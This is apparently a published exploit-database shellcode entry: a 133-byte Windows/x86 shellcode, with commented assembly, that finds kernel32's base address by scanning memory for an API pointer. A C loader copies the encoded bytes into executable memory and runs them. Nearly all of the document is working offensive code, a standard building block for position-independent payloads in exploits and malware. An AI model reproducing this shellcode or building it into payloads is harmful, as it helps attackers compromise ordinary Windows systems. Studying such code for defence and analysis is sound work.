; Shellcode Title: Windows/x86 - Locate kernel32 base address / Memory Sieve method Shellcode (133 bytes)
; Description:
; This shellcode is a new method to find kernel32 base address by parsing .text section of memory to find a pointer to kernel32 API.
; Date: 1/26/2022
; Shellcode Author: Tarek Ahmed
; Tested on: Microsoft Windows 7, and 10

/*

MIT License

Copyright (c) 2022 Tarek Ahmed

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


xor eax, eax
cdq

pop eax          ; get the return address of .text section where the call of exec happened.
push eax
sub esp, 0x8       ; Reserve space on stack for variables
xor ecx, ecx
checkFirstByte:      ; This will start finding the first two bytes of the instruction mov dword ptr[!!!]
inc ecx     
mov  edx, dword ptr[eax+ecx]
cmp dl, 0xff
jne checkFirstByte
cmp byte ptr[eax+ecx+1], 0x15
jne checkFirstByte
jmp foundByte


foundByte:
  mov bl, byte ptr [eax+ecx+5]
  cmp bl, 0       ; make sure we don't step on next instruction
  je foundPtr
  jmp checkFirstByte

foundPtr:
  xor ebx, ebx
  mov ebx, dword ptr[eax + ecx + 2]
  mov edi, [ebx]
  shr edi, 28       ; We found pointer to an api, check if it start with 7 e.g. 0x7000000
  cmp edi, 7
  je foundPossibleAddr   ; If it starts with 7, then we have a possible kernel32 address
  jmp checkFirstByte


foundPossibleAddr:
  mov ebx, [ebx]
  xor edx, edx
  mov dx, 0x1001       
  add edx, 0xefff

findMZ:           
  sub ebx, edx       ; we need to subtract 0x10000 to get the base
  mov bx, dx

  mov ax, [ebx]
  cmp ax, 0x5a4d      ; Check if it's a PE file which starts with "MZ"  
  jne findMZ         ; If not, then subtract 0x10000 again to go one more page down.

  mov edi, [ebx + 0x3c]  ; Finally we found a possible DLL file, we need to parse it now.
  add edi, ebx
  mov edi, [edi + 0x78]
  add edi, ebx
  mov edi, [edi + 0xc]
  add edi, ebx
  add edi, 4

  xor eax, eax
  push eax
  push 0x6c6c642e     ; .dll
  push 0x32334c45      ; ELE32 
  mov esi, esp      ; We don't need the whole name, just ELE32.dll

checkKernel :
  mov edx, ecx
  mov ecx, 8
  cld

  repe cmpsb    
  cmp ecx, 0
  jne checkFirstByte    ; If we pass this check then we found our kernel32 base


*/

#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>


unsigned char code[] = "\x31\xC0\x99\x58\x50\x83\xEC\x08\x31\xC9\x41\x8B\x14\x08\x80\xFA\xFF\x75\xF7\x80\x7C\x08\x01\x15\x75\xF0\xEB\x00\x8A\x5C\x08\x05\x80\xFB\x00\x74\x02\xEB\xE3\x31\xDB\x8B\x5C\x08\x02\x8B\x3B\xC1\xEF\x1C\x83\xFF\x07\x74\x02\xEB\xD1\x8B\x1B\x31\xD2\x66\xBA\x01\x10\x81\xC2\xFF\xEF\x00\x00\x29\xD3\x66\x89\xD3\x66\x8B\x03\x66\x3D\x4D\x5A\x75\xF2\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB9\x08\x00\x00\x00\xFC\xF3\xA6\x83\xF9\x00\x75\x85";

int main()
{
  

  void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, code, sizeof(code));
  ((void(*)())exec)();

  return 0;
  



}